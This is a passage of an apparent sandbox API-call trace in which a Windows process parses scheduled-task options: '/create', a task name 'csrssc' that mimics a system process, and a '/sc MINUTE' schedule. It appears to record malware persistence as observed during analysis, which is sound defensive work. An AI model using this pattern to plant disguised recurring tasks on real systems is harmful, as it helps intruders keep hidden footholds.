lpMem=0x14ddd0) returned 1 [0069.256] GetProcessHeap () returned 0x130000 [0069.256] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ddd0) returned 0x74e [0069.256] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddd0 | out: hHeap=0x130000) returned 1 [0069.256] SetLastError (dwErrCode=0x0) [0069.256] GetThreadLocale () returned 0x409 [0069.256] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.256] lstrlenW (lpString="create") returned 6 [0069.256] GetThreadLocale () returned 0x409 [0069.256] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="?") returned 1 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="s") returned 1 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="u") returned 1 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="p") returned 1 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="ru") returned 2 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="rp") returned 2 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="sc") returned 2 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="mo") returned 2 [0069.257] GetThreadLocale () returned 0x409 [0069.257] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.257] lstrlenW (lpString="d") returned 1 [0069.257] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="m") returned 1 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="i") returned 1 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="tn") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="tr") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="st") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="sd") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="ed") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="it") returned 2 [0069.258] GetThreadLocale () returned 0x409 [0069.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.258] lstrlenW (lpString="et") returned 2 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="k") returned 1 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="du") returned 2 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="ri") returned 2 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="z") returned 1 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="f") returned 1 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="v1") returned 2 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="xml") returned 3 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="ec") returned 2 [0069.259] GetThreadLocale () returned 0x409 [0069.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.259] lstrlenW (lpString="rl") returned 2 [0069.260] GetThreadLocale () returned 0x409 [0069.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.260] lstrlenW (lpString="delay") returned 5 [0069.260] GetThreadLocale () returned 0x409 [0069.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0069.260] lstrlenW (lpString="np") returned 2 [0069.260] SetLastError (dwErrCode=0x0) [0069.260] SetLastError (dwErrCode=0x0) [0069.260] lstrlenW (lpString="/create") returned 7 [0069.260] lstrlenW (lpString="-/") returned 2 [0069.260] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.260] lstrlenW (lpString="create") returned 6 [0069.260] lstrlenW (lpString="create") returned 6 [0069.260] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.260] lstrlenW (lpString="create") returned 6 [0069.260] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.260] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.260] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.260] lstrlenW (lpString="|create|") returned 8 [0069.260] lstrlenW (lpString="|create|") returned 8 [0069.260] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0069.260] SetLastError (dwErrCode=0x0) [0069.260] SetLastError (dwErrCode=0x0) [0069.260] SetLastError (dwErrCode=0x0) [0069.260] lstrlenW (lpString="/tn") returned 3 [0069.261] lstrlenW (lpString="-/") returned 2 [0069.261] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.261] lstrlenW (lpString="create") returned 6 [0069.261] lstrlenW (lpString="create") returned 6 [0069.261] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.261] lstrlenW (lpString="tn") returned 2 [0069.261] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.261] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.261] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.261] lstrlenW (lpString="|create|") returned 8 [0069.261] lstrlenW (lpString="|tn|") returned 4 [0069.261] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0069.261] SetLastError (dwErrCode=0x490) [0069.261] lstrlenW (lpString="?") returned 1 [0069.261] lstrlenW (lpString="?") returned 1 [0069.261] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.261] lstrlenW (lpString="tn") returned 2 [0069.261] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.261] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.261] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.261] lstrlenW (lpString="|?|") returned 3 [0069.261] lstrlenW (lpString="|tn|") returned 4 [0069.261] SetLastError (dwErrCode=0x490) [0069.261] lstrlenW (lpString="s") returned 1 [0069.262] lstrlenW (lpString="s") returned 1 [0069.262] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.262] lstrlenW (lpString="tn") returned 2 [0069.262] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.262] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.262] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.262] lstrlenW (lpString="|s|") returned 3 [0069.262] lstrlenW (lpString="|tn|") returned 4 [0069.262] SetLastError (dwErrCode=0x490) [0069.262] lstrlenW (lpString="u") returned 1 [0069.262] lstrlenW (lpString="u") returned 1 [0069.262] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.262] lstrlenW (lpString="tn") returned 2 [0069.262] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.262] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.262] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.262] lstrlenW (lpString="|u|") returned 3 [0069.262] lstrlenW (lpString="|tn|") returned 4 [0069.262] SetLastError (dwErrCode=0x490) [0069.262] lstrlenW (lpString="p") returned 1 [0069.262] lstrlenW (lpString="p") returned 1 [0069.262] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.262] lstrlenW (lpString="tn") returned 2 [0069.263] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.263] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.263] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.263] lstrlenW (lpString="|p|") returned 3 [0069.263] lstrlenW (lpString="|tn|") returned 4 [0069.263] SetLastError (dwErrCode=0x490) [0069.263] lstrlenW (lpString="ru") returned 2 [0069.263] lstrlenW (lpString="ru") returned 2 [0069.263] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.263] lstrlenW (lpString="tn") returned 2 [0069.263] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.263] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.263] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.263] lstrlenW (lpString="|ru|") returned 4 [0069.263] lstrlenW (lpString="|tn|") returned 4 [0069.263] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0069.263] SetLastError (dwErrCode=0x490) [0069.263] lstrlenW (lpString="rp") returned 2 [0069.263] lstrlenW (lpString="rp") returned 2 [0069.263] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.263] lstrlenW (lpString="tn") returned 2 [0069.263] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.263] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.263] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.264] lstrlenW (lpString="|rp|") returned 4 [0069.264] lstrlenW (lpString="|tn|") returned 4 [0069.264] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0069.264] SetLastError (dwErrCode=0x490) [0069.264] lstrlenW (lpString="sc") returned 2 [0069.264] lstrlenW (lpString="sc") returned 2 [0069.264] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.264] lstrlenW (lpString="tn") returned 2 [0069.264] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.264] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.264] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.264] lstrlenW (lpString="|sc|") returned 4 [0069.264] lstrlenW (lpString="|tn|") returned 4 [0069.264] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0069.264] SetLastError (dwErrCode=0x490) [0069.264] lstrlenW (lpString="mo") returned 2 [0069.264] lstrlenW (lpString="mo") returned 2 [0069.264] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.264] lstrlenW (lpString="tn") returned 2 [0069.264] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.264] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.264] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.264] lstrlenW (lpString="|mo|") returned 4 [0069.264] lstrlenW (lpString="|tn|") returned 4 [0069.265] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0069.265] SetLastError (dwErrCode=0x490) [0069.265] lstrlenW (lpString="d") returned 1 [0069.265] lstrlenW (lpString="d") returned 1 [0069.265] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.265] lstrlenW (lpString="tn") returned 2 [0069.265] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.265] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|d|") returned 3 [0069.265] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.265] lstrlenW (lpString="|d|") returned 3 [0069.265] lstrlenW (lpString="|tn|") returned 4 [0069.265] SetLastError (dwErrCode=0x490) [0069.265] lstrlenW (lpString="m") returned 1 [0069.265] lstrlenW (lpString="m") returned 1 [0069.265] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.265] lstrlenW (lpString="tn") returned 2 [0069.265] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.265] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|m|") returned 3 [0069.265] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.265] lstrlenW (lpString="|m|") returned 3 [0069.265] lstrlenW (lpString="|tn|") returned 4 [0069.265] SetLastError (dwErrCode=0x490) [0069.265] lstrlenW (lpString="i") returned 1 [0069.265] lstrlenW (lpString="i") returned 1 [0069.265] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.266] lstrlenW (lpString="tn") returned 2 [0069.266] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.266] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|i|") returned 3 [0069.266] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.266] lstrlenW (lpString="|i|") returned 3 [0069.266] lstrlenW (lpString="|tn|") returned 4 [0069.266] SetLastError (dwErrCode=0x490) [0069.266] lstrlenW (lpString="tn") returned 2 [0069.266] lstrlenW (lpString="tn") returned 2 [0069.266] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.266] lstrlenW (lpString="tn") returned 2 [0069.266] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.266] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.266] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.266] lstrlenW (lpString="|tn|") returned 4 [0069.266] lstrlenW (lpString="|tn|") returned 4 [0069.266] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0069.266] SetLastError (dwErrCode=0x0) [0069.266] SetLastError (dwErrCode=0x0) [0069.266] lstrlenW (lpString="csrssc") returned 6 [0069.266] lstrlenW (lpString="-/") returned 2 [0069.266] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0069.266] SetLastError (dwErrCode=0x490) [0069.266] SetLastError (dwErrCode=0x490) [0069.267] SetLastError (dwErrCode=0x0) [0069.267] lstrlenW (lpString="csrssc") returned 6 [0069.267] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0069.267] SetLastError (dwErrCode=0x490) [0069.267] SetLastError (dwErrCode=0x0) [0069.267] lstrlenW (lpString="csrssc") returned 6 [0069.267] SetLastError (dwErrCode=0x0) [0069.267] SetLastError (dwErrCode=0x0) [0069.267] lstrlenW (lpString="/sc") returned 3 [0069.267] lstrlenW (lpString="-/") returned 2 [0069.267] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.267] lstrlenW (lpString="create") returned 6 [0069.267] lstrlenW (lpString="create") returned 6 [0069.267] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.267] lstrlenW (lpString="sc") returned 2 [0069.267] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.267] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.267] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.267] lstrlenW (lpString="|create|") returned 8 [0069.267] lstrlenW (lpString="|sc|") returned 4 [0069.267] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0069.267] SetLastError (dwErrCode=0x490) [0069.267] lstrlenW (lpString="?") returned 1 [0069.267] lstrlenW (lpString="?") returned 1 [0069.267] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.267] lstrlenW (lpString="sc") returned 2 [0069.268] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.268] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.268] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.268] lstrlenW (lpString="|?|") returned 3 [0069.268] lstrlenW (lpString="|sc|") returned 4 [0069.268] SetLastError (dwErrCode=0x490) [0069.268] lstrlenW (lpString="s") returned 1 [0069.268] lstrlenW (lpString="s") returned 1 [0069.268] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.268] lstrlenW (lpString="sc") returned 2 [0069.268] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.268] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.268] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.268] lstrlenW (lpString="|s|") returned 3 [0069.268] lstrlenW (lpString="|sc|") returned 4 [0069.268] SetLastError (dwErrCode=0x490) [0069.268] lstrlenW (lpString="u") returned 1 [0069.268] lstrlenW (lpString="u") returned 1 [0069.268] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.268] lstrlenW (lpString="sc") returned 2 [0069.268] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.268] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.268] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.268] lstrlenW (lpString="|u|") returned 3 [0069.268] lstrlenW (lpString="|sc|") returned 4 [0069.269] SetLastError (dwErrCode=0x490) [0069.269] lstrlenW (lpString="p") returned 1 [0069.269] lstrlenW (lpString="p") returned 1 [0069.269] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.269] lstrlenW (lpString="sc") returned 2 [0069.269] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.269] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.269] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.269] lstrlenW (lpString="|p|") returned 3 [0069.269] lstrlenW (lpString="|sc|") returned 4 [0069.269] SetLastError (dwErrCode=0x490) [0069.269] lstrlenW (lpString="ru") returned 2 [0069.269] lstrlenW (lpString="ru") returned 2 [0069.269] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.269] lstrlenW (lpString="sc") returned 2 [0069.269] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.269] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.269] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.269] lstrlenW (lpString="|ru|") returned 4 [0069.269] lstrlenW (lpString="|sc|") returned 4 [0069.269] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0069.269] SetLastError (dwErrCode=0x490) [0069.269] lstrlenW (lpString="rp") returned 2 [0069.269] lstrlenW (lpString="rp") returned 2 [0069.270] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.270] lstrlenW (lpString="sc") returned 2 [0069.270] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.270] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.270] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.270] lstrlenW (lpString="|rp|") returned 4 [0069.270] lstrlenW (lpString="|sc|") returned 4 [0069.270] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0069.270] SetLastError (dwErrCode=0x490) [0069.270] lstrlenW (lpString="sc") returned 2 [0069.270] lstrlenW (lpString="sc") returned 2 [0069.270] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.270] lstrlenW (lpString="sc") returned 2 [0069.270] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.270] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.270] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.270] lstrlenW (lpString="|sc|") returned 4 [0069.270] lstrlenW (lpString="|sc|") returned 4 [0069.270] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0069.270] SetLastError (dwErrCode=0x0) [0069.270] SetLastError (dwErrCode=0x0) [0069.270] lstrlenW (lpString="MINUTE") returned 6 [0069.270] lstrlenW (lpString="-/") returned 2 [0069.270] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0069.271] SetLastError (dwErrCode=0x490) [0069.271] SetLastError (dwErrCode=0x490) [0069.271] SetLastError (dwErrCode=0x0) [0069.271] lstrlenW (lpString="MINUTE") returned 6 [0069.271] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0069.271] SetLastError (dwErrCode=0x490) [0069.271] SetLastError (dwErrCode=0x0) [0069.271] GetProcessHeap () returned 0x130000 [0069.271] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d660 [0069.271] _memicmp (_Buf1=0x14d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.271] lstrlenW (lpString="MINUTE") returned 6 [0069.271] GetProcessHeap () returned 0x130000 [0069.271] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d680 [0069.271] lstrlenW (lpString="MINUTE") returned 6 [0069.271] lstrlenW (lpString=" \x09") returned 2 [0069.271] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0069.271] StrChrW (lpStart=" 